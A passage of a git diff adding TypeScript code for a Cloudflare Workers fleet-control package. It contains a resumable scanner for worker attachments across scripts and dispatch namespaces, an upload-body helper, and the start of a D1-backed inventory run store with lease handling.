+  target: WorkerAttachmentScanTarget;
+  evidenceSha256: string;
+  evidenceCount: number;
+}>;
+
+function nextCommon(
+  progress: WorkerAttachmentScanProgress,
+  evidence?: Pick<ScanCommon, 'evidenceSha256' | 'evidenceCount'>,
+): ScanCommon {
+  return {
+    version: 1,
+    target: progress.target,
+    evidenceSha256: evidence?.evidenceSha256 ?? progress.evidenceSha256,
+    evidenceCount: evidence?.evidenceCount ?? progress.evidenceCount,
+  };
+}
+
+type DispatchScanProgress = Extract<
+  WorkerAttachmentScanProgress,
+  { stage: 'dispatch-script-page' | 'dispatch-script-settings' }
+>;
+
+function completeDispatchNamespaceEvidence(
+  progress: DispatchScanProgress,
+): Pick<ScanCommon, 'evidenceSha256' | 'evidenceCount'> {
+  return addEvidence(
+    progress,
+    [
+      'dispatch-namespace',
+      progress.namespaceName,
+      progress.dispatchEvidenceCount,
+      progress.dispatchEvidenceSum256,
+    ],
+    progress.dispatchEvidenceCount + 1,
+  );
+}
+
+export async function advanceWorkerAttachmentScan(
+  context: CloudflareWorkerAttachmentScanContext,
+  input: WorkerAttachmentScanInput,
+): Promise<WorkerAttachmentScanChunk> {
+  let progress = parseWorkerAttachmentScanProgress(
+    input.progress,
+    input.target,
+  );
+  const budget = new ProviderFetchBudget(input.maxProviderRequests);
+  const attachments: WorkerAttachment[] = [];
+  let ordinaryScripts: readonly string[] | undefined;
+  let activeDeployment:
+    | Readonly<{
+        scriptName: string;
+        digest: string;
+        versions: readonly ActiveVersion[];
+      }>
+    | undefined;
+  let namespaces: readonly NormalizedNamespace[] | undefined;
+
+  const ensureOrdinaryScripts = async (): Promise<
+    readonly string[] | undefined
+  > => {
+    if (ordinaryScripts) return ordinaryScripts;
+    if (!budget.reserve()) return undefined;
+    ordinaryScripts = await listOrdinaryScripts(
+      context,
+      input.target,
+      input.signal,
+    );
+    return ordinaryScripts;
+  };
+  const ensureNamespaces = async (): Promise<
+    readonly NormalizedNamespace[] | undefined
+  > => {
+    if (namespaces) return namespaces;
+    if (!budget.reserve()) return undefined;
+    namespaces = await listDispatchNamespaces(
+      context,
+      input.target,
+      input.signal,
+    );
+    return namespaces;
+  };
+
+  for (;;) {
+    checkSignal(input.signal);
+    switch (progress.stage) {
+      case 'ordinary-script-inventory': {
+        const scripts = await ensureOrdinaryScripts();
+        if (!scripts) return pending(progress, attachments, budget);
+        const digest = ordinaryDigest(scripts);
+        if (
+          progress.ordinaryInventorySha256 !== undefined &&
+          progress.ordinaryInventorySha256 !== digest
+        ) {
+          return drift();
+        }
+        const evidence =
+          progress.ordinaryInventorySha256 === undefined
+            ? addEvidence(progress, ['ordinary-inventory', scripts])
+            : {
+                evidenceSha256: progress.evidenceSha256,
+                evidenceCount: progress.evidenceCount,
+              };
+        if (progress.scriptIndex > scripts.length) return drift();
+        if (progress.scriptIndex === scripts.length) {
+          progress = {
+            ...nextCommon(progress, evidence),
+            stage: 'dispatch-namespace-inventory',
+            ordinaryInventorySha256: digest,
+            namespaceIndex: 0,
+          };
+          continue;
+        }
+        progress = {
+          ...nextCommon(progress, evidence),
+          stage: 'ordinary-deployment',
+          ordinaryInventorySha256: digest,
+          scriptIndex: progress.scriptIndex,
+          scriptName: scripts[progress.scriptIndex] as string,
+        };
+        continue;
+      }
+
+      case 'ordinary-deployment': {
+        const scripts = await ensureOrdinaryScripts();
+        if (!scripts) return pending(progress, attachments, budget);
+        if (
+          ordinaryDigest(scripts) !== progress.ordinaryInventorySha256 ||
+          scripts[progress.scriptIndex] !== progress.scriptName
+        ) {
+          return drift();
+        }
+        if (!budget.reserve()) return pending(progress, attachments, budget);
+        checkSignal(input.signal);
+        const listed = await context.client.workers.scripts.deployments.list(
+          progress.scriptName,
+          { account_id: context.accountId },
+          { signal: input.signal },
+        );
+        const versions = deploymentVersions(
+          listed,
+          input.target,
+          progress.scriptName,
+        );
+        const normalized = versions ?? [];
+        const evidence = addEvidence(progress, [
+          'ordinary-deployment',
+          progress.scriptName,
+          normalized.map((version) => [version.versionId, version.percentage]),
+        ]);
+        if (normalized.length === 0) {
+          progress = {
+            ...nextCommon(progress, evidence),
+            stage: 'ordinary-script-inventory',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            scriptIndex: progress.scriptIndex + 1,
+          };
+          continue;
+        }
+        progress = {
+          ...nextCommon(progress, evidence),
+          stage: 'ordinary-version',
+          ordinaryInventorySha256: progress.ordinaryInventorySha256,
+          scriptIndex: progress.scriptIndex,
+          scriptName: progress.scriptName,
+          deploymentSha256: deploymentDigest(normalized),
+          versionIndex: 0,
+        };
+        activeDeployment = {
+          scriptName: progress.scriptName,
+          digest: progress.deploymentSha256,
+          versions: normalized,
+        };
+        continue;
+      }
+
+      case 'ordinary-version': {
+        const scripts = await ensureOrdinaryScripts();
+        if (!scripts) return pending(progress, attachments, budget);
+        if (
+          ordinaryDigest(scripts) !== progress.ordinaryInventorySha256 ||
+          scripts[progress.scriptIndex] !== progress.scriptName
+        ) {
+          return drift();
+        }
+        let versions =
+          activeDeployment?.scriptName === progress.scriptName &&
+          activeDeployment.digest === progress.deploymentSha256
+            ? activeDeployment.versions
+            : undefined;
+        if (!versions) {
+          if (!budget.reserve()) return pending(progress, attachments, budget);
+          checkSignal(input.signal);
+          const listed = await context.client.workers.scripts.deployments.list(
+            progress.scriptName,
+            { account_id: context.accountId },
+            { signal: input.signal },
+          );
+          versions = deploymentVersions(
+            listed,
+            input.target,
+            progress.scriptName,
+          );
+        }
+        if (
+          !versions ||
+          deploymentDigest(versions) !== progress.deploymentSha256 ||
+          progress.versionIndex > versions.length
+        ) {
+          return drift();
+        }
+        if (progress.versionIndex === versions.length) {
+          progress = {
+            ...nextCommon(progress),
+            stage: 'ordinary-script-inventory',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            scriptIndex: progress.scriptIndex + 1,
+          };
+          continue;
+        }
+        if (!budget.reserve()) return pending(progress, attachments, budget);
+        const version = versions[progress.versionIndex] as ActiveVersion;
+        checkSignal(input.signal);
+        const detail = await context.client.workers.scripts.versions.get(
+          version.versionId,
+          {
+            account_id: context.accountId,
+            script_name: progress.scriptName,
+          },
+          { signal: input.signal },
+        );
+        const matched = targetMatches(input.target, versionBindings(detail));
+        const evidence = addEvidence(progress, [
+          'ordinary-version',
+          progress.scriptName,
+          version.versionId,
+          matched,
+        ]);
+        if (matched) {
+          const attachment: WorkerAttachment = {
+            scriptName: progress.scriptName,
+            plane: 'ordinary',
+          };
+          if (input.stopOnFirstAttachment) {
+            return attached(attachment, budget);
+          }
+          attachments.push(attachment);
+          progress = {
+            ...nextCommon(progress, evidence),
+            stage: 'ordinary-script-inventory',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            scriptIndex: progress.scriptIndex + 1,
+          };
+          continue;
+        }
+        progress = {
+          ...nextCommon(progress, evidence),
+          stage: 'ordinary-version',
+          ordinaryInventorySha256: progress.ordinaryInventorySha256,
+          scriptIndex: progress.scriptIndex,
+          scriptName: progress.scriptName,
+          deploymentSha256: progress.deploymentSha256,
+          versionIndex: progress.versionIndex + 1,
+        };
+        continue;
+      }
+
+      case 'dispatch-namespace-inventory': {
+        const listed = await ensureNamespaces();
+        if (!listed) return pending(progress, attachments, budget);
+        const digest = namespaceDigest(listed);
+        if (
+          progress.namespaceInventorySha256 !== undefined &&
+          progress.namespaceInventorySha256 !== digest
+        ) {
+          return drift();
+        }
+        const evidence =
+          progress.namespaceInventorySha256 === undefined
+            ? addEvidence(progress, [
+                'dispatch-namespaces',
+                listed.map((namespace) => [
+                  namespace.name,
+                  namespace.id,
+                  namespace.scriptCount,
+                ]),
+              ])
+            : {
+                evidenceSha256: progress.evidenceSha256,
+                evidenceCount: progress.evidenceCount,
+              };
+        if (progress.namespaceIndex > listed.length) return drift();
+        if (progress.namespaceIndex === listed.length) {
+          progress = {
+            ...nextCommon(progress, evidence),
+            stage: 'dispatch-namespace-inventory',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            namespaceInventorySha256: digest,
+            namespaceIndex: progress.namespaceIndex,
+          };
+          return complete(progress, attachments, budget);
+        }
+        progress = {
+          ...nextCommon(progress, evidence),
+          stage: 'dispatch-script-page',
+          ordinaryInventorySha256: progress.ordinaryInventorySha256,
+          namespaceInventorySha256: digest,
+          namespaceIndex: progress.namespaceIndex,
+          namespaceName: (
+            listed[progress.namespaceIndex] as NormalizedNamespace
+          ).name,
+          pageNumber: 0,
+          seenCursorSha256: [],
+          totalDispatchItems: 0,
+          dispatchEvidenceSum256: EMPTY_MULTISET_SUM256,
+          dispatchEvidenceCount: 0,
+        };
+        continue;
+      }
+
+      case 'dispatch-script-page': {
+        const listed = await ensureNamespaces();
+        if (!listed) return pending(progress, attachments, budget);
+        if (
+          namespaceDigest(listed) !== progress.namespaceInventorySha256 ||
+          listed[progress.namespaceIndex]?.name !== progress.namespaceName
+        ) {
+          return drift();
+        }
+        if (!budget.reserve()) return pending(progress, attachments, budget);
+        const page = await listDispatchScriptPage(context, {
+          namespace: progress.namespaceName,
+          cursor: progress.pageStartCursor,
+          perPage: DISPATCH_PAGE_SIZE,
+          signal: input.signal,
+        });
+        if (page.scripts.length > DISPATCH_PAGE_SIZE) {
+          throw new Error(
+            `Cloudflare dispatch script listing returned more than ${DISPATCH_PAGE_SIZE} items in one page`,
+          );
+        }
+        const pageScripts = canonicalDispatchScripts(page.scripts);
+        const totalDispatchItems =
+          progress.totalDispatchItems + pageScripts.length;
+        if (totalDispatchItems > CLOUDFLARE_INVENTORY_BOUND) {
+          throw inventoryBoundExceeded(
+            'dispatch script inventory',
+            CLOUDFLARE_INVENTORY_BOUND,
+          );
+        }
+        let seenCursorSha256 = progress.seenCursorSha256;
+        if (page.nextCursor) {
+          if (progress.pageNumber + 1 >= DISPATCH_PAGE_BOUND) {
+            throw new Error(
+              'Cloudflare dispatch script listing exceeded 100 pages',
+            );
+          }
+          const nextHash = cursorDigest(page.nextCursor);
+          if (seenCursorSha256.includes(nextHash)) {
+            throw new Error(
+              'Cloudflare dispatch script listing repeated a cursor',
+            );
+          }
+          seenCursorSha256 = [...seenCursorSha256, nextHash];
+        }
+        if (pageScripts.length > 0) {
+          progress = {
+            ...nextCommon(progress),
+            stage: 'dispatch-script-settings',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            namespaceInventorySha256: progress.namespaceInventorySha256,
+            namespaceIndex: progress.namespaceIndex,
+            namespaceName: progress.namespaceName,
+            ...(progress.pageStartCursor
+              ? { pageStartCursor: progress.pageStartCursor }
+              : {}),
+            ...(page.nextCursor ? { nextCursor: page.nextCursor } : {}),
+            pageSha256: normalizedPageDigest(page, progress.pageStartCursor),
+            pageItemCount: pageScripts.length,
+            itemOffset: 0,
+            pageNumber: progress.pageNumber,
+            seenCursorSha256,
+            totalDispatchItems,
+            dispatchEvidenceSum256: progress.dispatchEvidenceSum256,
+            dispatchEvidenceCount: progress.dispatchEvidenceCount,
+          };
+          continue;
+        }
+        if (page.nextCursor) {
+          progress = {
+            ...nextCommon(progress),
+            stage: 'dispatch-script-page',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            namespaceInventorySha256: progress.namespaceInventorySha256,
+            namespaceIndex: progress.namespaceIndex,
+            namespaceName: progress.namespaceName,
+            pageStartCursor: page.nextCursor,
+            pageNumber: progress.pageNumber + 1,
+            seenCursorSha256,
+            totalDispatchItems,
+            dispatchEvidenceSum256: progress.dispatchEvidenceSum256,
+            dispatchEvidenceCount: progress.dispatchEvidenceCount,
+          };
+          continue;
+        }
+        const evidence = completeDispatchNamespaceEvidence(progress);
+        progress = {
+          ...nextCommon(progress, evidence),
+          stage: 'dispatch-namespace-inventory',
+          ordinaryInventorySha256: progress.ordinaryInventorySha256,
+          namespaceInventorySha256: progress.namespaceInventorySha256,
+          namespaceIndex: progress.namespaceIndex + 1,
+        };
+        continue;
+      }
+
+      case 'dispatch-script-settings': {
+        const listed = await ensureNamespaces();
+        if (!listed) return pending(progress, attachments, budget);
+        if (
+          namespaceDigest(listed) !== progress.namespaceInventorySha256 ||
+          listed[progress.namespaceIndex]?.name !== progress.namespaceName
+        ) {
+          return drift();
+        }
+        if (!budget.reserve()) return pending(progress, attachments, budget);
+        const page = await listDispatchScriptPage(context, {
+          namespace: progress.namespaceName,
+          cursor: progress.pageStartCursor,
+          perPage: DISPATCH_PAGE_SIZE,
+          signal: input.signal,
+        });
+        if (page.scripts.length > DISPATCH_PAGE_SIZE) {
+          throw new Error(
+            `Cloudflare dispatch script listing returned more than ${DISPATCH_PAGE_SIZE} items in one page`,
+          );
+        }
+        const pageScripts = canonicalDispatchScripts(page.scripts);
+        if (
+          normalizedPageDigest(page, progress.pageStartCursor) !==
+            progress.pageSha256 ||
+          pageScripts.length !== progress.pageItemCount ||
+          page.nextCursor !== progress.nextCursor ||
+          progress.itemOffset > pageScripts.length
+        ) {
+          return drift();
+        }
+        if (progress.itemOffset === pageScripts.length) {
+          if (page.nextCursor) {
+            progress = {
+              ...nextCommon(progress),
+              stage: 'dispatch-script-page',
+              ordinaryInventorySha256: progress.ordinaryInventorySha256,
+              namespaceInventorySha256: progress.namespaceInventorySha256,
+              namespaceIndex: progress.namespaceIndex,
+              namespaceName: progress.namespaceName,
+              pageStartCursor: page.nextCursor,
+              pageNumber: progress.pageNumber + 1,
+              seenCursorSha256: progress.seenCursorSha256,
+              totalDispatchItems: progress.totalDispatchItems,
+              dispatchEvidenceSum256: progress.dispatchEvidenceSum256,
+              dispatchEvidenceCount: progress.dispatchEvidenceCount,
+            };
+            continue;
+          }
+          const evidence = completeDispatchNamespaceEvidence(progress);
+          progress = {
+            ...nextCommon(progress, evidence),
+            stage: 'dispatch-namespace-inventory',
+            ordinaryInventorySha256: progress.ordinaryInventorySha256,
+            namespaceInventorySha256: progress.namespaceInventorySha256,
+            namespaceIndex: progress.namespaceIndex + 1,
+          };
+          continue;
+        }
+        if (!budget.reserve()) return pending(progress, attachments, budget);
+        const script = pageScripts[
+          progress.itemOffset
+        ] as NormalizedDispatchScript;
+        checkSignal(input.signal);
+        const settings =
+          await context.client.workersForPlatforms.dispatch.namespaces.scripts.settings.get(
+            script.id,
+            {
+              account_id: context.accountId,
+              dispatch_namespace: progress.namespaceName,
+            },
+            { signal: input.signal },
+          );
+        const matched = targetMatches(input.target, settingsBindings(settings));
+        const dispatchEvidenceSum256 = addMultisetEvidence(
+          progress.dispatchEvidenceSum256,
+          [
+            'dispatch-settings',
+            progress.namespaceName,
+            script.id,
+            script.tags,
+            matched,
+          ],
+        );
+        const dispatchEvidenceCount = progress.dispatchEvidenceCount + 1;
+        if (matched) {
+          const attachment: WorkerAttachment = {
+            scriptName: script.id,
+            plane: 'dispatch',
+            dispatchNamespace: progress.namespaceName,
+          };
+          if (input.stopOnFirstAttachment) {
+            return attached(attachment, budget);
+          }
+          attachments.push(attachment);
+        }
+        progress = {
+          ...nextCommon(progress),
+          stage: 'dispatch-script-settings',
+          ordinaryInventorySha256: progress.ordinaryInventorySha256,
+          namespaceInventorySha256: progress.namespaceInventorySha256,
+          namespaceIndex: progress.namespaceIndex,
+          namespaceName: progress.namespaceName,
+          ...(progress.pageStartCursor
+            ? { pageStartCursor: progress.pageStartCursor }
+            : {}),
+          ...(progress.nextCursor ? { nextCursor: progress.nextCursor } : {}),
+          pageSha256: progress.pageSha256,
+          pageItemCount: progress.pageItemCount,
+          itemOffset: progress.itemOffset + 1,
+          pageNumber: progress.pageNumber,
+          seenCursorSha256: progress.seenCursorSha256,
+          totalDispatchItems: progress.totalDispatchItems,
+          dispatchEvidenceSum256,
+          dispatchEvidenceCount,
+        };
+        continue;
+      }
+    }
+  }
+}
+
+export async function listAllWorkerAttachments(
+  context: CloudflareWorkerAttachmentScanContext,
+  target: WorkerAttachmentScanTarget,
+  signal?: AbortSignal,
+): Promise<readonly WorkerAttachment[]> {
+  let progress = initialWorkerAttachmentScan(target);
+  const attachments: WorkerAttachment[] = [];
+  for (;;) {
+    const chunk = await advanceWorkerAttachmentScan(context, {
+      target,
+      progress,
+      maxProviderRequests: 1_000,
+      signal,
+    });
+    if (chunk.status === 'attached') {
+      throw new Error('complete attachment scan returned an early match');
+    }
+    attachments.push(...chunk.attachments);
+    if (chunk.status === 'complete') {
+      const sorted = attachments.sort((left, right) =>
+        `${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare(
+          `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`,
+        ),
+      );
+      if (target.kind === 'r2') return sorted;
+      const seen = new Set<string>();
+      return sorted.filter((attachment) => {
+        const key = `${attachment.plane}:${attachment.dispatchNamespace ?? ''}:${attachment.scriptName}`;
+        if (seen.has(key)) return false;
+        seen.add(key);
+        return true;
+      });
+    }
+    progress = chunk.progress;
+  }
+}
diff --git a/packages/fleet-control/src/cloudflare-worker-upload.ts b/packages/fleet-control/src/cloudflare-worker-upload.ts
new file mode 100644
index 00000000..1deaf305
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-worker-upload.ts
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export function namedWorkerUploadBody(
+  files: readonly File[],
+  metadata: string,
+): Record<string, string | File> {
+  const parts = new Map<string, string | File>([['metadata', metadata]]);
+  for (const file of files) {
+    if (parts.has(file.name)) {
+      throw new Error(
+        `Worker upload part '${file.name}' is duplicated or reserved`,
+      );
+    }
+    parts.set(file.name, file);
+  }
+  return Object.fromEntries(parts);
+}
diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts
new file mode 100644
index 00000000..97ce114e
--- /dev/null
+++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts
@@ -0,0 +1,1397 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { randomUUID } from 'node:crypto';
+import {
+  emptyFleetInventoryRowCounts,
+  FLEET_INVENTORY_FAILURE_REASONS,
+  FLEET_INVENTORY_ROW_KINDS,
+  type FleetInventoryFailureReason,
+  type FleetInventoryGeneration,
+  type FleetInventoryGenerationRef,
+  type FleetInventoryLease,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunOptions,
+  type FleetInventoryRunRecord,
+  type FleetInventoryRunStore,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  FleetInventoryStateError,
+  fleetInventoryRunRecordFromUnknown,
+  fleetInventoryStagedFactFromUnknown,
+  fleetInventoryStagedRowFromUnknown,
+  initialFleetInventoryStage,
+} from './fleet-inventory-state.js';
+import type { FleetStateDatabase } from './state-store.js';
+
+const HEAD_TABLE = 'anchorage_fleet_inventory_heads';
+const RUN_TABLE = 'anchorage_fleet_inventory_runs';
+const ROW_TABLE = 'anchorage_fleet_inventory_rows';
+const FACT_TABLE = 'anchorage_fleet_inventory_deployment_facts';
+const LEASE_TABLE = 'anchorage_fleet_inventory_leases';
+const PIN_TABLE = 'anchorage_fleet_inventory_pins';
+// state-store.ts declares LEASE_TTL_MS and LEASE_RENEWAL_INTERVAL_MS with the
+// same values and exports neither; widening its surface for them couples the
+// inventory store to the deployment store.
+const LEASE_TTL_MS = 15 * 60_000;
+const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000;
+// Byte-identical to state-store.ts's DB_NOW_MS. The Wrangler harness lease
+// clock rewrites exactly this substring, so every SQL string in this module
+// must express database time with this token and no other time expression.
+const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)";
+const PRUNE_LIMIT_MAX = 1_000;
+const ROW_KIND_CHECK = FLEET_INVENTORY_ROW_KINDS.map(
+  (kind) => `'${kind}'`,
+).join(',');
+
+type Row = Readonly<Record<string, unknown>>;
+
+const EXPECTED_COLUMNS: Readonly<
+  Record<string, Readonly<Record<string, string>>>
+> = Object.freeze({
+  [HEAD_TABLE]: {
+    account_id: 'TEXT',
+    active_operation_id: 'TEXT',
+    latest_finalized_generation: 'INTEGER',
+    next_generation: 'INTEGER',
+  },
+  [RUN_TABLE]: {
+    operation_id: 'TEXT',
+    account_id: 'TEXT',
+    generation: 'INTEGER',
+    options_digest: 'TEXT',
+    run_record: 'TEXT',
+    created_at_ms: 'INTEGER',
+    finalized_at_ms: 'INTEGER',
+  },
+  [ROW_TABLE]: {
+    account_id: 'TEXT',
+    generation: 'INTEGER',
+    kind: 'TEXT',
+    ordinal: 'INTEGER',
+    payload: 'TEXT',
+  },
+  [FACT_TABLE]: {
+    account_id: 'TEXT',
+    generation: 'INTEGER',
+    deployment_ordinal: 'INTEGER',
+    fact_kind: 'TEXT',
+    fact_ordinal: 'INTEGER',
+    payload: 'TEXT',
+  },
+  [LEASE_TABLE]: {
+    account_id: 'TEXT',
+    owner_token: 'TEXT',
+    expires_at: 'INTEGER',
+  },
+  [PIN_TABLE]: {
+    account_id: 'TEXT',
+    generation: 'INTEGER',
+    pinned_by: 'TEXT',
+    pinned_at_ms: 'INTEGER',
+  },
+});
+
+/** @inline */
+export interface D1FleetInventoryRunStoreOptions {
+  readonly accountId: string;
+  readonly leaseTtlMs?: number;
+  readonly leaseRenewalIntervalMs?: number;
+}
+
+function rowString(row: Row | undefined, key: string): string {
+  const value = row?.[key];
+  if (typeof value !== 'string') {
+    throw new Error(`fleet inventory row has invalid ${key}`);
+  }
+  return value;
+}
+
+function rowNumber(row: Row | undefined, key: string): number {
+  const value = Number(row?.[key]);
+  if (!Number.isSafeInteger(value)) {
+    throw new Error(`fleet inventory row has invalid ${key}`);
+  }
+  return value;
+}
+
+function optionalNumber(row: Row | undefined, key: string): number | undefined {
+  const value = row?.[key];
+  if (value === null || value === undefined) return undefined;
+  return rowNumber(row, key);
+}
+
+function assertGeneration(generation: number): void {
+  if (!Number.isSafeInteger(generation) || generation < 1) {
+    throw new Error('generation must be a positive integer');
+  }
+}
+
+function assertPinnedBy(pinnedBy: string): void {
+  if (typeof pinnedBy !== 'string' || pinnedBy.length === 0) {
+    throw new Error('pinnedBy is required');
+  }
+}
+
+function notFinalized(generation: number): Error {
+  return new Error(`fleet inventory generation ${generation} is not finalized`);
+}
+
+function requiresPin(generation: number): Error {
+  return new Error(
+    `fleet inventory generation ${generation} requires a pin before it can be read`,
+  );
+}
+
+function corruptGeneration(generation: number): Error {
+  return new Error(`fleet inventory generation ${generation} is corrupt`);
+}
+
+function runRecordFromRow(row: Row): FleetInventoryRunRecord {
+  const record = fleetInventoryRunRecordFromUnknown(
+    JSON.parse(rowString(row, 'run_record')),
+  );
+  const generation = rowNumber(row, 'generation');
+  if (
+    record.operationId !== rowString(row, 'operation_id') ||
+    record.progress.generation !== generation ||
+    record.optionsDigest !== rowString(row, 'options_digest')
+  ) {
+    throw corruptGeneration(generation);
+  }
+  return record;
+}
+
+function unknownRun(operationId: string): Error {
+  return new Error(`no fleet inventory run for operation '${operationId}'`);
+}
+
+function runConflict(operationId: string): Error {
+  return new Error(
+    `fleet inventory run '${operationId}' is no longer at the expected revision`,
+  );
+}
+
+function runOptionsConflict(operationId: string): Error {
+  return new Error(
+    `fleet inventory run '${operationId}' was started with different options`,
+  );
+}
+
+function stagedDivergence(operationId: string): Error {
+  return new Error(
+    `fleet inventory run '${operationId}' staged rows diverge from the persisted generation`,
+  );
+}
+
+function manifestDisagreement(operationId: string): Error {
+  return new Error(
+    `fleet inventory run '${operationId}' finalize manifest disagrees with the persisted run record`,
+  );
+}
+
+function manifestMismatch(operationId: string): Error {
+  return new Error(
+    `fleet inventory run '${operationId}' does not match its finalize manifest`,
+  );
+}
+
+function sameCounts(
+  left: Readonly<Record<FleetInventoryRowKind, number>>,
+  right: Readonly<Record<FleetInventoryRowKind, number>>,
+): boolean {
+  return FLEET_INVENTORY_ROW_KINDS.every((kind) => left[kind] === right[kind]);
+}
+
+/**
+ * Durable account inventory run store over the fleet state database port. The
+ * account is trusted configuration, never a per-call argument.
+ */
+export class D1FleetInventoryRunStore implements FleetInventoryRunStore {
+  readonly #db: FleetStateDatabase;
+  readonly #accountId: string;
+  readonly #leaseTtlMs: number;
+  readonly #leaseRenewalIntervalMs: number;
+  #schemaReady: Promise<void> | undefined;
+
+  constructor(
+    db: FleetStateDatabase,
+    options: D1FleetInventoryRunStoreOptions,
+  ) {
+    this.#db = db;
+    if (!options.accountId) throw new Error('accountId is required');
+    this.#accountId = options.accountId;
+    this.#leaseTtlMs = options.leaseTtlMs ?? LEASE_TTL_MS;
+    this.#leaseRenewalIntervalMs =
+      options.leaseRenewalIntervalMs ?? LEASE_RENEWAL_INTERVAL_MS;
+    if (!Number.isSafeInteger(this.#leaseTtlMs) || this.#leaseTtlMs < 1) {
+      throw new Error('leaseTtlMs must be a positive integer');
+    }
+    if (
+      !Number.isSafeInteger(this.#leaseRenewalIntervalMs) ||
+      this.#leaseRenewalIntervalMs < 1 ||
+      this.#leaseRenewalIntervalMs >= this.#leaseTtlMs
+    ) {
+      throw new Error(
+        'leaseRenewalIntervalMs must be a positive integer below leaseTtlMs',
+      );
+    }
+  }
+
+  async #ensureSchema(): Promise<void> {
+    const pending = this.#schemaReady ?? this.#initializeSchema();
+    this.#schemaReady = pending;
+    try {
+      await pending;
+    } catch (error) {
+      if (this.#schemaReady === pending) this.#schemaReady = undefined;
+      throw error;
+    }
+  }
+
+  async #initializeSchema(): Promise<void> {
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${HEAD_TABLE} (
+      account_id TEXT PRIMARY KEY,
+      active_operation_id TEXT,
+      latest_finalized_generation INTEGER,
+      next_generation INTEGER NOT NULL
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${RUN_TABLE} (
+      operation_id TEXT PRIMARY KEY,
+      account_id TEXT NOT NULL,
+      generation INTEGER NOT NULL,
+      options_digest TEXT NOT NULL,
+      run_record TEXT NOT NULL,
+      created_at_ms INTEGER NOT NULL,
+      finalized_at_ms INTEGER,
+      UNIQUE (account_id, generation)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${ROW_TABLE} (
+      account_id TEXT NOT NULL,
+      generation INTEGER NOT NULL,
+      kind TEXT NOT NULL CHECK (kind IN (${ROW_KIND_CHECK})),
+      ordinal INTEGER NOT NULL,
+      payload TEXT NOT NULL,
+      PRIMARY KEY (account_id, generation, kind, ordinal)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${FACT_TABLE} (
+      account_id TEXT NOT NULL,
+      generation INTEGER NOT NULL,
+      deployment_ordinal INTEGER NOT NULL,
+      fact_kind TEXT NOT NULL,
+      fact_ordinal INTEGER NOT NULL,
+      payload TEXT NOT NULL,
+      PRIMARY KEY (account_id, generation, deployment_ordinal, fact_kind, fact_ordinal)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${LEASE_TABLE} (
+      account_id TEXT PRIMARY KEY,
+      owner_token TEXT NOT NULL,
+      expires_at INTEGER NOT NULL
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${PIN_TABLE} (
+      account_id TEXT NOT NULL,
+      generation INTEGER NOT NULL,
+      pinned_by TEXT NOT NULL,
+      pinned_at_ms INTEGER NOT NULL,
+      PRIMARY KEY (account_id, generation, pinned_by)
+    )`);
+    // There is no ALTER path: a column that is absent or of the wrong type
+    // means someone else owns the name, and a write would silently drop
+    // values rather than fail.
+    for (const [table, columns] of Object.entries(EXPECTED_COLUMNS)) {
+      const present = await this.#db.query(`PRAGMA table_info(${table})`);
+      for (const [name, type] of Object.entries(columns)) {
+        const column = present.find((candidate) => candidate.name === name);
+        if (!column || String(column.type).toUpperCase() !== type) {
+          throw new Error(
+            `fleet inventory table '${table}' column '${name}' is absent or incompatible`,
+          );
+        }
+      }
+    }
+  }
+
+  #leaseExists(): string {
+    return `EXISTS (SELECT 1 FROM ${LEASE_TABLE}
+        WHERE account_id = ? AND owner_token = ? AND expires_at > ${DB_NOW_MS})`;
+  }
+
+  #leaseBindings(token: string): readonly unknown[] {
+    return [this.#accountId, token];
+  }
+
+  #contention(): Error {
+    return new Error(
+      `fleet inventory for account '${this.#accountId}' is already being modified`,
+    );
+  }
+
+  #leaseLost(): Error {
+    return new Error(
+      `fleet inventory for account '${this.#accountId}' lease is no longer owned by this operation`,
+    );
+  }
+
+  #headContention(operationId: string): Error {
+    return new Error(
+      `fleet inventory for account '${this.#accountId}' has an active operation other than '${operationId}'`,
+    );
+  }
+
+  /**
+   * Acquires the account inventory lease, runs the operation with a renewing
+   * heartbeat, and releases it. Every run mutation, pin, release, and prune
+   * happens through the lease this passes to the operation.
+   */
+  async withAccountInventoryLease<T>(
+    operation: (lease: FleetInventoryLease) => Promise<T>,
+  ): Promise<T> {
+    await this.#ensureSchema();
+    const token = randomUUID();
+    const claimed = await this.#db.query(
+      `INSERT INTO ${LEASE_TABLE} (
+        account_id, owner_token, expires_at
+      ) VALUES (?, ?, ${DB_NOW_MS} + ?)
+      ON CONFLICT (account_id) DO UPDATE SET
+        owner_token = excluded.owner_token,
+        expires_at = excluded.expires_at
+      WHERE ${LEASE_TABLE}.expires_at <= ${DB_NOW_MS}
+      RETURNING owner_token, expires_at`,
+      [this.#accountId, token, this.#leaseTtlMs],
+    );
+    if (claimed.length !== 1 || claimed[0]?.owner_token !== token) {
+      throw this.#contention();
+    }
+    return this.#runRenewingLease({
+      label: `fleet inventory for account '${this.#accountId}'`,
+      renew: () => this.#renewLease(token),
+      release: async () => {
+        const released = await this.#db.query(
+          `DELETE FROM ${LEASE_TABLE}
+        WHERE account_id = ? AND owner_token = ?
+        RETURNING owner_token`,
+          [this.#accountId, token],
+        );
+        if (released.length !== 1 || released[0]?.owner_token !== token) {
+          throw this.#leaseLost();
+        }
+      },
+      createLease: (assertOwned) => ({
+        assertOwned,
